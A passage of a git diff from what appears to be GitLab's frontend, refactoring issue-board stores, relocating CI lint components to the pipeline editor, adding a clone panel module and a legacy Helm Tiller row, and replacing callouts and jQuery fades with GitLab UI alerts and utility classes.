return axios.get(this.state.endpoints.recentBoardsEndpoint);
},
- createBoard(board) {
- const boardPayload = { ...board };
- boardPayload.label_ids = (board.labels || []).map(b => b.id);
-
- if (boardPayload.label_ids.length === 0) {
- boardPayload.label_ids = [''];
- }
-
- if (boardPayload.assignee) {
- boardPayload.assignee_id = boardPayload.assignee.id;
- }
-
- if (boardPayload.milestone) {
- boardPayload.milestone_id = boardPayload.milestone.id;
- }
-
- if (boardPayload.id) {
- const input = {
- ...pick(boardPayload, ['hideClosedList', 'hideBacklogList']),
- id: this.generateBoardGid(boardPayload.id),
- };
-
- return Promise.all([
- axios.put(this.generateBoardsPath(boardPayload.id), { board: boardPayload }),
- gqlClient.mutate({
- mutation: createBoardMutation,
- variables: input,
- }),
- ]);
- }
-
- return axios
- .post(this.generateBoardsPath(), { board: boardPayload })
- .then(resp => resp.data)
- .then(data => {
- gqlClient.mutate({
- mutation: createBoardMutation,
- variables: {
- ...pick(boardPayload, ['hideClosedList', 'hideBacklogList']),
- id: this.generateBoardGid(data.id),
- },
- });
- return data;
- });
- },
-
deleteBoard({ id }) {
return axios.delete(this.generateBoardsPath(id));
},
diff --git a/app/assets/javascripts/boards/stores/getters.js b/app/assets/javascripts/boards/stores/getters.js
index cd28b4a0ff7..ca6887b6f45 100644
--- a/app/assets/javascripts/boards/stores/getters.js
+++ b/app/assets/javascripts/boards/stores/getters.js
@@ -2,15 +2,8 @@ import { find } from 'lodash';
import { inactiveId } from '../constants';
export default {
- labelToggleState: state => (state.isShowingLabels ? 'on' : 'off'),
isSidebarOpen: state => state.activeId !== inactiveId,
- isSwimlanesOn: state => {
- if (!gon?.features?.boardsWithSwimlanes && !gon?.features?.swimlanes) {
- return false;
- }
-
- return state.isShowingEpicsSwimlanes;
- },
+ isSwimlanesOn: () => false,
getIssueById: state => id => {
return state.issues[id] || {};
},
diff --git a/app/assets/javascripts/boards/stores/mutation_types.js b/app/assets/javascripts/boards/stores/mutation_types.js
index 3a57cb9b5e1..2b2c2bee51c 100644
--- a/app/assets/javascripts/boards/stores/mutation_types.js
+++ b/app/assets/javascripts/boards/stores/mutation_types.js
@@ -34,4 +34,5 @@ export const SET_CURRENT_PAGE = 'SET_CURRENT_PAGE';
export const TOGGLE_EMPTY_STATE = 'TOGGLE_EMPTY_STATE';
export const SET_ACTIVE_ID = 'SET_ACTIVE_ID';
export const UPDATE_ISSUE_BY_ID = 'UPDATE_ISSUE_BY_ID';
+export const SET_ASSIGNEE_LOADING = 'SET_ASSIGNEE_LOADING';
export const RESET_ISSUES = 'RESET_ISSUES';
diff --git a/app/assets/javascripts/boards/stores/mutations.js b/app/assets/javascripts/boards/stores/mutations.js
index bb083158c8f..8c4e514710f 100644
--- a/app/assets/javascripts/boards/stores/mutations.js
+++ b/app/assets/javascripts/boards/stores/mutations.js
@@ -13,7 +13,7 @@ const notImplemented = () => {
export const removeIssueFromList = ({ state, listId, issueId }) => {
Vue.set(state.issuesByListId, listId, pull(state.issuesByListId[listId], issueId));
const list = state.boardLists[listId];
- Vue.set(state.boardLists, listId, { ...list, issuesSize: list.issuesSize - 1 });
+ Vue.set(state.boardLists, listId, { ...list, issuesCount: list.issuesCount - 1 });
};
export const addIssueToList = ({ state, listId, issueId, moveBeforeId, moveAfterId, atIndex }) => {
@@ -27,16 +27,16 @@ export const addIssueToList = ({ state, listId, issueId, moveBeforeId, moveAfter
listIssues.splice(newIndex, 0, issueId);
Vue.set(state.issuesByListId, listId, listIssues);
const list = state.boardLists[listId];
- Vue.set(state.boardLists, listId, { ...list, issuesSize: list.issuesSize + 1 });
+ Vue.set(state.boardLists, listId, { ...list, issuesCount: list.issuesCount + 1 });
};
export default {
[mutationTypes.SET_INITIAL_BOARD_DATA](state, data) {
- const { boardType, disabled, showPromotion, ...endpoints } = data;
+ const { boardType, disabled, boardConfig, ...endpoints } = data;
state.endpoints = endpoints;
state.boardType = boardType;
state.disabled = disabled;
- state.showPromotion = showPromotion;
+ state.boardConfig = boardConfig;
},
[mutationTypes.RECEIVE_BOARD_LISTS_SUCCESS]: (state, lists) => {
@@ -143,6 +143,10 @@ export default {
Vue.set(state.issues[issueId], prop, value);
},
+ [mutationTypes.SET_ASSIGNEE_LOADING](state, isLoading) {
+ state.isSettingAssignees = isLoading;
+ },
+
[mutationTypes.REQUEST_ADD_ISSUE]: () => {
notImplemented();
},
diff --git a/app/assets/javascripts/boards/stores/state.js b/app/assets/javascripts/boards/stores/state.js
index b91c09f8051..573e98e56e0 100644
--- a/app/assets/javascripts/boards/stores/state.js
+++ b/app/assets/javascripts/boards/stores/state.js
@@ -4,16 +4,17 @@ export default () => ({
endpoints: {},
boardType: null,
disabled: false,
- showPromotion: false,
isShowingLabels: true,
activeId: inactiveId,
sidebarType: '',
boardLists: {},
listsFlags: {},
issuesByListId: {},
+ isSettingAssignees: false,
pageInfoByListId: {},
issues: {},
filterParams: {},
+ boardConfig: {},
error: undefined,
// TODO: remove after ce/ee split of board_content.vue
isShowingEpicsSwimlanes: false,
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint.vue b/app/assets/javascripts/ci_lint/components/ci_lint.vue
index def45026b35..731ed2ddd01 100644
--- a/app/assets/javascripts/ci_lint/components/ci_lint.vue
+++ b/app/assets/javascripts/ci_lint/components/ci_lint.vue
@@ -1,8 +1,8 @@
<script>
import { GlButton, GlFormCheckbox, GlIcon, GlLink, GlAlert } from '@gitlab/ui';
import EditorLite from '~/vue_shared/components/editor_lite.vue';
-import CiLintResults from './ci_lint_results.vue';
-import lintCIMutation from '../graphql/mutations/lint_ci.mutation.graphql';
+import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
+import lintCiMutation from '~/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql';
export default {
components: {
@@ -56,7 +56,7 @@ export default {
lintCI: { valid, errors, warnings, jobs },
},
} = await this.$apollo.mutate({
- mutation: lintCIMutation,
+ mutation: lintCiMutation,
variables: { endpoint: this.endpoint, content: this.content, dry: this.dryRun },
});
@@ -119,6 +119,7 @@ export default {
<ci-lint-results
v-if="showingResults"
+ class="col-sm-12 gl-mt-5"
:valid="valid"
:jobs="jobs"
:errors="errors"
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint_results.vue b/app/assets/javascripts/ci_lint/components/ci_lint_results.vue
deleted file mode 100644
index 8b37c94de19..00000000000
--- a/app/assets/javascripts/ci_lint/components/ci_lint_results.vue
+++ /dev/null
@@ -1,143 +0,0 @@
-<script>
-import { GlAlert, GlLink, GlSprintf, GlTable } from '@gitlab/ui';
-import CiLintWarnings from './ci_lint_warnings.vue';
-import CiLintResultsValue from './ci_lint_results_value.vue';
-import CiLintResultsParam from './ci_lint_results_param.vue';
-import { __ } from '~/locale';
-
-const thBorderColor = 'gl-border-gray-100!';
-
-export default {
- correct: {
- variant: 'success',
- text: __('syntax is correct.'),
- },
- incorrect: {
- variant: 'danger',
- text: __('syntax is incorrect.'),
- },
- includesText: __(
- 'CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}',
- ),
- warningTitle: __('The form contains the following warning:'),
- fields: [
- {
- key: 'parameter',
- label: __('Parameter'),
- thClass: thBorderColor,
- },
- {
- key: 'value',
- label: __('Value'),
- thClass: thBorderColor,
- },
- ],
- components: {
- GlAlert,
- GlLink,
- GlSprintf,
- GlTable,
- CiLintWarnings,
- CiLintResultsValue,
- CiLintResultsParam,
- },
- props: {
- valid: {
- type: Boolean,
- required: true,
- },
- jobs: {
- type: Array,
- required: true,
- },
- errors: {
- type: Array,
- required: true,
- },
- warnings: {
- type: Array,
- required: true,
- },
- dryRun: {
- type: Boolean,
- required: true,
- },
- lintHelpPagePath: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- isWarningDismissed: false,
- };
- },
- computed: {
- status() {
- return this.valid ? this.$options.correct : this.$options.incorrect;
- },
- shouldShowTable() {
- return this.errors.length === 0;
- },
- shouldShowError() {
- return this.errors.length > 0;
- },
- shouldShowWarning() {
- return this.warnings.length > 0 && !this.isWarningDismissed;
- },
- },
-};
-</script>
-
-<template>
- <div class="col-sm-12 gl-mt-5">
- <gl-alert
- class="gl-mb-5"
- :variant="status.variant"
- :title="__('Status:')"
- :dismissible="false"
- data-testid="ci-lint-status"
- >{{ status.text }}
- <gl-sprintf :message="$options.includesText">
- <template #code="{content}">
- <code>
- {{ content }}
- </code>
- </template>
- <template #link>
- <gl-link :href="lintHelpPagePath" target="_blank">
- {{ __('More information') }}
- </gl-link>
- </template>
- </gl-sprintf>
- </gl-alert>
-
- <pre
- v-if="shouldShowError"
- class="gl-mb-5"
- data-testid="ci-lint-errors"
- ><div v-for="error in errors" :key="error">{{ error }}</div></pre>
-
- <ci-lint-warnings
- v-if="shouldShowWarning"
- :warnings="warnings"
- data-testid="ci-lint-warnings"
- @dismiss="isWarningDismissed = true"
- />
-
- <gl-table
- v-if="shouldShowTable"
- :items="jobs"
- :fields="$options.fields"
- bordered
- data-testid="ci-lint-table"
- >
- <template #cell(parameter)="{ item }">
- <ci-lint-results-param :stage="item.stage" :job-name="item.name" />
- </template>
- <template #cell(value)="{ item }">
- <ci-lint-results-value :item="item" :dry-run="dryRun" />
- </template>
- </gl-table>
- </div>
-</template>
diff --git a/app/assets/javascripts/ci_lint/graphql/resolvers.js b/app/assets/javascripts/ci_lint/graphql/resolvers.js
deleted file mode 100644
index 126b4c664b2..00000000000
--- a/app/assets/javascripts/ci_lint/graphql/resolvers.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import axios from '~/lib/utils/axios_utils';
-
-const resolvers = {
- Mutation: {
- lintCI: (_, { endpoint, content, dry_run }) => {
- return axios.post(endpoint, { content, dry_run }).then(({ data }) => ({
- valid: data.valid,
- errors: data.errors,
- warnings: data.warnings,
- jobs: data.jobs.map(job => {
- const only = job.only ? { refs: job.only.refs, __typename: 'CiLintJobOnlyPolicy' } : null;
-
- return {
- name: job.name,
- stage: job.stage,
- beforeScript: job.before_script,
- script: job.script,
- afterScript: job.after_script,
- tagList: job.tag_list,
- environment: job.environment,
- when: job.when,
- allowFailure: job.allow_failure,
- only,
- except: job.except,
- __typename: 'CiLintJob',
- };
- }),
- __typename: 'CiLintContent',
- }));
- },
- },
-};
-
-export default resolvers;
diff --git a/app/assets/javascripts/ci_lint/index.js b/app/assets/javascripts/ci_lint/index.js
index e4cda4cb369..274aab45deb 100644
--- a/app/assets/javascripts/ci_lint/index.js
+++ b/app/assets/javascripts/ci_lint/index.js
@@ -1,8 +1,9 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
+import { resolvers } from '~/pipeline_editor/graphql/resolvers';
+
import CiLint from './components/ci_lint.vue';
-import resolvers from './graphql/resolvers';
Vue.use(VueApollo);
diff --git a/app/assets/javascripts/clone_panel.js b/app/assets/javascripts/clone_panel.js
new file mode 100644
index 00000000000..362e6c5c5ce
--- /dev/null
+++ b/app/assets/javascripts/clone_panel.js
@@ -0,0 +1,42 @@
+import $ from 'jquery';
+
+export default function initClonePanel() {
+ const $cloneOptions = $('ul.clone-options-dropdown');
+ if ($cloneOptions.length) {
+ const $cloneUrlField = $('#clone_url');
+ const $cloneBtnLabel = $('.js-git-clone-holder .js-clone-dropdown-label');
+ const mobileCloneField = document.querySelector(
+ '.js-mobile-git-clone .js-clone-dropdown-label',
+ );
+
+ const selectedCloneOption = $cloneBtnLabel.text().trim();
+ if (selectedCloneOption.length > 0) {
+ $(`a:contains('${selectedCloneOption}')`, $cloneOptions).addClass('is-active');
+ }
+
+ $('a', $cloneOptions).on('click', e => {
+ e.preventDefault();
+ const $this = $(e.currentTarget);
+ const url = $this.attr('href');
+ const cloneType = $this.data('cloneType');
+
+ $('.is-active', $cloneOptions).removeClass('is-active');
+ $(`a[data-clone-type="${cloneType}"]`).each(function switchProtocol() {
+ const $el = $(this);
+ const activeText = $el.find('.dropdown-menu-inner-title').text();
+ const $container = $el.closest('.js-git-clone-holder, .js-mobile-git-clone');
+ const $label = $container.find('.js-clone-dropdown-label');
+
+ $el.toggleClass('is-active');
+ $label.text(activeText);
+ });
+
+ if (mobileCloneField) {
+ mobileCloneField.dataset.clipboardText = url;
+ } else {
+ $cloneUrlField.val(url);
+ }
+ $('.js-git-empty .js-clone').text(url);
+ });
+ }
+}
diff --git a/app/assets/javascripts/close_reopen_report_toggle.js b/app/assets/javascripts/close_reopen_report_toggle.js
deleted file mode 100644
index 9bbbe07e7a1..00000000000
--- a/app/assets/javascripts/close_reopen_report_toggle.js
+++ /dev/null
@@ -1,92 +0,0 @@
-import DropLab from './droplab/drop_lab';
-import ISetter from './droplab/plugins/input_setter';
-
-// Todo: Remove this when fixing issue in input_setter plugin
-const InputSetter = { ...ISetter };
-
-class CloseReopenReportToggle {
- constructor(opts = {}) {
- this.dropdownTrigger = opts.dropdownTrigger;
- this.dropdownList = opts.dropdownList;
- this.button = opts.button;
- }
-
- initDroplab() {
- this.reopenItem = this.dropdownList.querySelector('.reopen-item');
- this.closeItem = this.dropdownList.querySelector('.close-item');
-
- this.droplab = new DropLab();
-
- const config = this.setConfig();
-
- this.droplab.init(this.dropdownTrigger, this.dropdownList, [InputSetter], config);
- }
-
- updateButton(isClosed) {
- this.toggleButtonType(isClosed);
-
- this.button.blur();
- }
-
- toggleButtonType(isClosed) {
- const [showItem, hideItem] = this.getButtonTypes(isClosed);
-
- showItem.classList.remove('hidden');
- showItem.classList.add('droplab-item-selected');
-
- hideItem.classList.add('hidden');
- hideItem.classList.remove('droplab-item-selected');
-
- showItem.click();
- }
-
- getButtonTypes(isClosed) {
- return isClosed ? [this.reopenItem, this.closeItem] : [this.closeItem, this.reopenItem];
- }
-
- setDisable(shouldDisable = true) {
- if (shouldDisable) {
- this.button.setAttribute('disabled', 'true');
- this.dropdownTrigger.setAttribute('disabled', 'true');
- } else {
- this.button.removeAttribute('disabled');
- this.dropdownTrigger.removeAttribute('disabled');
- }
- }
-
- setConfig() {
- const config = {
- InputSetter: [
- {
- input: this.button,
- valueAttribute: 'data-text',
- inputAttribute: 'data-value',
- },
- {
- input: this.button,
- valueAttribute: 'data-text',
- inputAttribute: 'title',
- },
- {
- input: this.button,
- valueAttribute: 'data-button-class',
- inputAttribute: 'class',
- },
- {
- input: this.dropdownTrigger,
- valueAttribute: 'data-toggle-class',
- inputAttribute: 'class',
- },
- {
- input: this.button,
- valueAttribute: 'data-url',
- inputAttribute: 'data-endpoint',
- },
- ],
- };
-
- return config;
- }
-}
-
-export default CloseReopenReportToggle;
diff --git a/app/assets/javascripts/clusters/clusters_bundle.js b/app/assets/javascripts/clusters/clusters_bundle.js
index a75646db162..a533a1a78e8 100644
--- a/app/assets/javascripts/clusters/clusters_bundle.js
+++ b/app/assets/javascripts/clusters/clusters_bundle.js
@@ -52,6 +52,7 @@ export default class Clusters {
clusterStatus,
clusterStatusReason,
helpPath,
+ helmHelpPath,
ingressHelpPath,
ingressDnsHelpPath,
ingressModSecurityHelpPath,
@@ -68,8 +69,9 @@ export default class Clusters {
this.clusterBannerDismissedKey = `cluster_${this.clusterId}_banner_dismissed`;
this.store = new ClustersStore();
- this.store.setHelpPaths(
+ this.store.setHelpPaths({
helpPath,
+ helmHelpPath,
ingressHelpPath,
ingressDnsHelpPath,
ingressModSecurityHelpPath,
@@ -78,7 +80,7 @@ export default class Clusters {
deployBoardsHelpPath,
cloudRunHelpPath,
ciliumHelpPath,
- );
+ });
this.store.setManagePrometheusPath(managePrometheusPath);
this.store.updateStatus(clusterStatus);
this.store.updateStatusReason(clusterStatusReason);
@@ -162,6 +164,7 @@ export default class Clusters {
type,
applications: this.state.applications,
helpPath: this.state.helpPath,
+ helmHelpPath: this.state.helmHelpPath,
ingressHelpPath: this.state.ingressHelpPath,
managePrometheusPath: this.state.managePrometheusPath,
ingressDnsHelpPath: this.state.ingressDnsHelpPath,
@@ -262,13 +265,21 @@ export default class Clusters {
removeListeners() {
eventHub.$off('installApplication', this.installApplication);
eventHub.$off('updateApplication', this.updateApplication);
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('saveKnativeDomain');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('setKnativeDomain');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('setCrossplaneProviderStack');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('uninstallApplication');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('setIngressModSecurityEnabled');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('setIngressModSecurityMode');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('resetIngressModSecurityChanges');
+ // eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('setFluentdSettings');
}
diff --git a/app/assets/javascripts/clusters/components/applications.vue b/app/assets/javascripts/clusters/components/applications.vue
index 271d862afab..fdffaa24d03 100644
--- a/app/assets/javascripts/clusters/components/applications.vue
+++ b/app/assets/javascripts/clusters/components/applications.vue
@@ -1,6 +1,7 @@
<script>
-import { GlLoadingIcon, GlSprintf, GlLink } from '@gitlab/ui';
+import { GlLoadingIcon, GlSprintf, GlLink, GlAlert } from '@gitlab/ui';
import gitlabLogo from 'images/cluster_app_logos/gitlab.png';
+import helmLogo from 'images/cluster_app_logos/helm.png';
import jupyterhubLogo from 'images/cluster_app_logos/jupyterhub.png';
import kubernetesLogo from 'images/cluster_app_logos/kubernetes.png';
import certManagerLogo from 'images/cluster_app_logos/cert_manager.png';
@@ -29,6 +30,7 @@ export default {
CrossplaneProviderStack,
IngressModsecuritySettings,
FluentdOutputSettings,
+ GlAlert,
},
props: {
type: {
@@ -46,6 +48,11 @@ export default {
required: false,
default: '',
},
+ helmHelpPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
ingressHelpPath: {
type: String,
required: false,
@@ -150,6 +157,7 @@ export default {
},
logos: {
gitlabLogo,
+ helmLogo,
jupyterhubLogo,
kubernetesLogo,
certManagerLogo,
@@ -173,6 +181,35 @@ export default {
<div class="cluster-application-list gl-mt-3">
<application-row
+ v-if="applications.helm.installed || applications.helm.uninstalling"
+ id="helm"
+ :logo-url="$options.logos.helmLogo"
+ :title="applications.helm.title"
+ :status="applications.helm.status"
+ :status-reason="applications.helm.statusReason"
+ :request-status="applications.helm.requestStatus"
+ :request-reason="applications.helm.requestReason"
+ :installed="applications.helm.installed"
+ :install-failed="applications.helm.installFailed"
+ :uninstallable="applications.helm.uninstallable"
+ :uninstall-successful="applications.helm.uninstallSuccessful"
+ :uninstall-failed="applications.helm.uninstallFailed"
+ title-link="https://v2.helm.sh/"
+ >
+ <template #description>
+ <p>
+ {{
+ s__(`ClusterIntegration|Can be safely removed. Prior to GitLab
+ 13.2, GitLab used a remote Tiller server to manage the
+ applications. GitLab no longer uses this server.
+ Uninstalling this server will not affect your other
+ applications. This row will disappear afterwards.`)
+ }}
+ <gl-link :href="helmHelpPath">{{ __('More information') }}</gl-link>
+ </p>
+ </template>
+ </application-row>
+ <application-row
:id="ingressId"
:logo-url="$options.logos.kubernetesLogo"
:title="applications.ingress.title"
@@ -257,8 +294,8 @@ export default {
</p>
</template>
<template v-else>
- <div class="bs-callout bs-callout-info">
- <strong data-testid="ingressCostWarning">
+ <gl-alert variant="info" :dismissible="false">
+ <span data-testid="ingressCostWarning">
<gl-sprintf
:message="
s__(
@@ -272,8 +309,8 @@ export default {
}}</gl-link>
</template>
</gl-sprintf>
- </strong>
- </div>
+ </span>
+ </gl-alert>
</template>
</template>
</application-row>
@@ -536,13 +573,13 @@ export default {
title-link="https://github.com/knative/docs"
>
<template #description>
- <p v-if="!rbac" class="rbac-notice bs-callout bs-callout-info">
+ <gl-alert v-if="!rbac" variant="info" class="rbac-notice gl-my-3" :dismissible="false">
{{
s__(`ClusterIntegration|You must have an RBAC-enabled cluster
to install Knative.`)
}}
<gl-link :href="helpPath" target="_blank">{{ __('More information') }}</gl-link>
- </p>
+ </gl-alert>
<p>
{{
s__(`ClusterIntegration|Knative extends Kubernetes to provide
diff --git a/app/assets/javascripts/clusters/components/knative_domain_editor.vue b/app/assets/javascripts/clusters/components/knative_domain_editor.vue
index cb415d902e8..d80bd6f5b42 100644
--- a/app/assets/javascripts/clusters/components/knative_domain_editor.vue
+++ b/app/assets/javascripts/clusters/components/knative_domain_editor.vue
@@ -7,6 +7,7 @@ import {
GlSearchBoxByType,
GlSprintf,
GlButton,
+ GlAlert,
} from '@gitlab/ui';
import ClipboardButton from '../../vue_shared/components/clipboard_button.vue';
import { __, s__ } from '~/locale';
@@ -25,6 +26,7 @@ export default {
GlDropdownItem,
GlSearchBoxByType,
GlSprintf,
+ GlAlert,
},
props: {
knative: {
@@ -106,12 +108,13 @@ export default {
<template>
<div class="row">
- <div
+ <gl-alert
v-if="knative.updateFailed"
- class="bs-callout bs-callout-danger cluster-application-banner col-12 mt-2 mb-2 js-cluster-knative-domain-name-failure-message"
+ class="gl-mb-5 col-12 js-cluster-knative-domain-name-failure-message"
+ variant="danger"
>
{{ s__('ClusterIntegration|Something went wrong while updating Knative domain name.') }}
- </div>
+ </gl-alert>
<div
:class="{ 'col-md-6': knativeInstalled, 'col-12': !knativeInstalled }"
diff --git a/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue b/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
index 477dd13db4f..2a197e40b60 100644
--- a/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
+++ b/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
@@ -16,7 +16,7 @@ import {
const CUSTOM_APP_WARNING_TEXT = {
[HELM]: sprintf(
s__(
- 'ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored.',
+ 'ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected.',
),
{
gitlabManagedAppsNamespace: '<code>gitlab-managed-apps</code>',
diff --git a/app/assets/javascripts/clusters/services/application_state_machine.js b/app/assets/javascripts/clusters/services/application_state_machine.js
index 683b0e18534..1dd815ae44d 100644
--- a/app/assets/javascripts/clusters/services/application_state_machine.js
+++ b/app/assets/javascripts/clusters/services/application_state_machine.js
@@ -193,6 +193,12 @@ const applicationStateMachine = {
uninstallSuccessful: true,
},
},
+ [NOT_INSTALLABLE]: {
+ target: NOT_INSTALLABLE,
+ effects: {
+ uninstallSuccessful: true,
+ },
+ },
[UNINSTALL_ERRORED]: {
target: INSTALLED,
effects: {
diff --git a/app/assets/javascripts/clusters/stores/clusters_store.js b/app/assets/javascripts/clusters/stores/clusters_store.js
index 53868b7c02d..88505eac3a9 100644
--- a/app/assets/javascripts/clusters/stores/clusters_store.js
+++ b/app/assets/javascripts/clusters/stores/clusters_store.js
@@ -36,6 +36,7 @@ export default class ClusterStore {
constructor() {
this.state = {
helpPath: null,
+ helmHelpPath: null,
ingressHelpPath: null,
environmentsHelpPath: null,
clustersHelpPath: null,
@@ -49,7 +50,7 @@ export default class ClusterStore {
applications: {
helm: {
...applicationInitialState,
- title: s__('ClusterIntegration|Helm Tiller'),
+ title: s__('ClusterIntegration|Legacy Helm Tiller server'),
},
ingress: {
...applicationInitialState,
@@ -126,26 +127,10 @@ export default class ClusterStore {
};
}
- setHelpPaths(
- helpPath,
- ingressHelpPath,
- ingressDnsHelpPath,
- ingressModSecurityHelpPath,
- environmentsHelpPath,
- clustersHelpPath,
- deployBoardsHelpPath,
- cloudRunHelpPath,
- ciliumHelpPath,
- ) {
- this.state.helpPath = helpPath;
- this.state.ingressHelpPath = ingressHelpPath;
- this.state.ingressDnsHelpPath = ingressDnsHelpPath;
- this.state.ingressModSecurityHelpPath = ingressModSecurityHelpPath;
- this.state.environmentsHelpPath = environmentsHelpPath;
- this.state.clustersHelpPath = clustersHelpPath;
- this.state.deployBoardsHelpPath = deployBoardsHelpPath;
- this.state.cloudRunHelpPath = cloudRunHelpPath;
- this.state.ciliumHelpPath = ciliumHelpPath;
+ setHelpPaths(helpPaths) {
+ Object.assign(this.state, {
+ ...helpPaths,
+ });
}
setManagePrometheusPath(managePrometheusPath) {
diff --git a/app/assets/javascripts/commit/image_file.js b/app/assets/javascripts/commit/image_file.js
index 542890d9b04..b70f8d6e736 100644
--- a/app/assets/javascripts/commit/image_file.js
+++ b/app/assets/javascripts/commit/image_file.js
@@ -27,7 +27,7 @@ export default class ImageFile {
initViewModes() {
const viewMode = viewModes[0];
- $('.view-modes', this.file).removeClass('hide');
+ $('.view-modes', this.file).removeClass('gl-display-none');
$('.view-modes-menu', this.file).on('click', 'li', event => {
if (!$(event.currentTarget).hasClass('active')) {
return this.activateViewMode(event.currentTarget.className);
@@ -42,12 +42,10 @@ export default class ImageFile {
.filter(`.${viewMode}`)
.addClass('active');
- // eslint-disable-next-line no-jquery/no-fade
- return $(`.view:visible:not(.${viewMode})`, this.file).fadeOut(200, () => {
- // eslint-disable-next-line no-jquery/no-fade
- $(`.view.${viewMode}`, this.file).fadeIn(200);
- return this.initView(viewMode);
- });
+ $(`.view:visible:not(.${viewMode})`, this.file).addClass('gl-display-none');
+ $(`.view.${viewMode}`, this.file).removeClass('gl-display-none');
+
+ return this.initView(viewMode);
}
initView(viewMode) {
@@ -74,12 +72,14 @@ export default class ImageFile {
callback(e, left);
};
+ // eslint-disable-next-line @gitlab/no-global-event-off
$el
.off('mousedown')
.off('touchstart')
.on('mousedown', dragStart)
.on('touchstart', dragStart);
+ // eslint-disable-next-line @gitlab/no-global-event-off
$body
.off('mouseup')
.off('mousemove')
@@ -120,7 +120,7 @@ export default class ImageFile {
return this.requestImageInfo($('img', wrap), (width, height) => {
$('.image-info .meta-width', wrap).text(`${width}px`);
$('.image-info .meta-height', wrap).text(`${height}px`);
- return $('.image-info', wrap).removeClass('hide');
+ return $('.image-info', wrap).removeClass('gl-display-none');
});
});
},
diff --git a/app/assets/javascripts/commits.js b/app/assets/javascripts/commits.js
index 7dd75d03ab9..b18c109937d 100644
--- a/app/assets/javascripts/commits.js
+++ b/app/assets/javascripts/commits.js
@@ -31,7 +31,7 @@ export default class CommitsList {
const search = this.searchField.val();
if (search === this.lastSearch) return Promise.resolve();
const commitsUrl = `${form.attr('action')}?${form.serialize()}`;
- this.content.fadeTo('fast', 0.5);
+ this.content.addClass('gl-opacity-5');
const params = form.serializeArray().reduce(
(acc, obj) =>
Object.assign(acc, {
@@ -47,7 +47,7 @@ export default class CommitsList {
.then(({ data }) => {
this.lastSearch = search;
this.content.html(data.html);
- this.content.fadeTo('fast', 1.0);
+ this.content.removeClass('gl-opacity-5');
// Change url so if user reload a page - search results are saved
window.history.replaceState(
@@ -59,7 +59,7 @@ export default class CommitsList {
);
})
.catch(() => {
- this.content.fadeTo('fast', 1.0);
+ this.content.removeClass('gl-opacity-5');
this.lastSearch = null;
});
}
diff --git a/app/assets/javascripts/commons/bootstrap.js b/app/assets/javascripts/commons/bootstrap.js
index df0fa1ae88b..2a1244149ff 100644
--- a/app/assets/javascripts/commons/bootstrap.js
+++ b/app/assets/javascripts/commons/bootstrap.js
@@ -1,7 +1,14 @@
import $ from 'jquery';
// bootstrap jQuery plugins
-import 'bootstrap';
+import 'bootstrap/js/dist/alert';
+import 'bootstrap/js/dist/button';
+import 'bootstrap/js/dist/collapse';
+import 'bootstrap/js/dist/modal';
+import 'bootstrap/js/dist/dropdown';
+import 'bootstrap/js/dist/popover';
+import 'bootstrap/js/dist/tooltip';
+import 'bootstrap/js/dist/tab';
// custom jQuery functions
$.fn.extend({
diff --git a/app/assets/javascripts/confirm_danger_modal.js b/app/assets/javascripts/confirm_danger_modal.js
index 7321e4d18cc..4f7bc829b0c 100644
--- a/app/assets/javascripts/confirm_danger_modal.js
+++ b/app/assets/javascripts/confirm_danger_modal.js
@@ -14,6 +14,7 @@ function openConfirmDangerModal($form, $modal, text) {
$submit.disable();
$input.focus();
+ // eslint-disable-next-line @gitlab/no-global-event-off
$input.off('input').on('input', function handleInput() {
const confirmText = rstrip($(this).val());
if (confirmText === confirmTextMatch) {
@@ -23,6 +24,7 @@ function openConfirmDangerModal($form, $modal, text) {
}
});
+ // eslint-disable-next-line @gitlab/no-global-event-off
$('.js-confirm-danger-submit', $modal)
.off('click')
.on('click', () => {
diff --git a/app/assets/javascripts/create_cluster/components/cluster_form_dropdown.vue b/app/assets/javascripts/create_cluster/components/cluster_form_dropdown.vue
index e9d484bdd94..1e3a19b9da1 100644
--- a/app/assets/javascripts/create_cluster/components/cluster_form_dropdown.vue
+++ b/app/assets/javascripts/create_cluster/components/cluster_form_dropdown.vue
@@ -154,6 +154,7 @@ export default {
});
},
beforeDestroy() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$(this.$refs.dropdown).off();
},
methods: {
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue b/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue
index 2858561e033..a7425735733 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue
+++ b/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue
@@ -1,10 +1,17 @@
<script>
import { createNamespacedHelpers, mapState, mapActions, mapGetters } from 'vuex';
-import { GlFormGroup, GlFormInput, GlFormCheckbox, GlIcon, GlLink, GlSprintf } from '@gitlab/ui';
+import {
+ GlFormGroup,
+ GlFormInput,
+ GlFormCheckbox,
+ GlIcon,
+ GlLink,
+ GlSprintf,
+ GlButton,
+} from '@gitlab/ui';
import { s__ } from '~/locale';
import ClusterFormDropdown from '~/create_cluster/components/cluster_form_dropdown.vue';
import { KUBERNETES_VERSIONS } from '../constants';
